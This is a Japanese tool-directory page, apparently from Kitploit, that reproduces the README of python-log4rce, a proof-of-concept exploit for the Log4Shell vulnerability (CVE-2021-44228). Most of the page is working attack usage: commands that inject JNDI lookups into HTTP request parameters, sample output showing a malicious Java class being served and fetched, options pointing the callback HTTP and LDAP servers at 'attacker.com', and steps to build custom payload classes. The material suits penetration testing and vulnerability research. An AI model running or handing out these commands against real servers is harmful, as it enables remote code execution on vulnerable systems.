Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
python-log4rce — CVE-2021-44228向けオールインワンピュアPython PoC | Kitploit
ツール/GitHubGitHub/alexandre-lavoie/python-log4rce
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubalexandre-lavoie/python-log4rce

python-log4rce

CVE-2021-44228向けオールインワンピュアPython PoC

リポジトリを見る
1782914年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Python Log4RCE

CVE-2021-44228 に対する、純粋な Python3 によるオールインワン PoCです。

サンプル

root@kitploit:~
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
root@kitploit:~
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!

使い方

これは CLI ツールです。すべてのオプションはヘルプメニューにあります:

root@kitploit:~
python3 log4rce.py --help

リストはかなり広範囲にわたるため、以下に機能の概要を示します。

攻撃モード

このツールではいくつかの攻撃モードを使用できます。これらの攻撃は Log4RCE クラスの拡張です。

HTTP

対象の URL に対して自動化された HTTP リクエスト攻撃を実行できます。

GET リクエストは次のように実行できます:

root@kitploit:~
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###&param=123" --headers="P1=123&P2=123"

POST リクエストは次のように実行できます:

root@kitploit:~
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###&param=123" --headers="P1=123&P2=123"

上記は ### に JNDI タグを注入します。

手動

上記のいずれも使用できない場合は、このモードを使用して JDNI タグをダンプします:

root@kitploit:~
python3 log4rce.py manual

ネットワーク設定

このツールでは、ほとんどのネットワーク設定を広範囲にカスタマイズできます。すべての内部サーバーは、リモート設定に応じて異なる場所を指すように変更できます。

HTTP サーバー

以下のパラメータを使用して HTTP サーバーを設定できます:

root@kitploit:~
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
root@kitploit:~
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses. 

LDAP サーバー

以下のパラメータを使用して LDAP サーバーを設定できます:

root@kitploit:~
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
root@kitploit:~
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses. 

カスタマイズ

このツールはいくつかのカスタマイズを処理できます。以下に、興味のある機能をいくつか示します。

ペイロードの注入

次のように Java クラスにペイロードを注入できます:

root@kitploit:~
python3 log4rce.py --payload "PAYLOAD"

ペイロードは "###" 文字列に注入されます。

カスタム Java ペイロード

次の方法で独自の Java クラスを構築できます。

root@kitploit:~
javac -source 1.7 -target 1.7 /path/to/Exploit.java

結果の .class は次のように実行できます:

root@kitploit:~
python3 log4rce.py --java_class "/path/to/Exploit.class" ...

注意: ペイロード注入を可能にするために文字列 "###" を追加できます。

ツールをダウンロード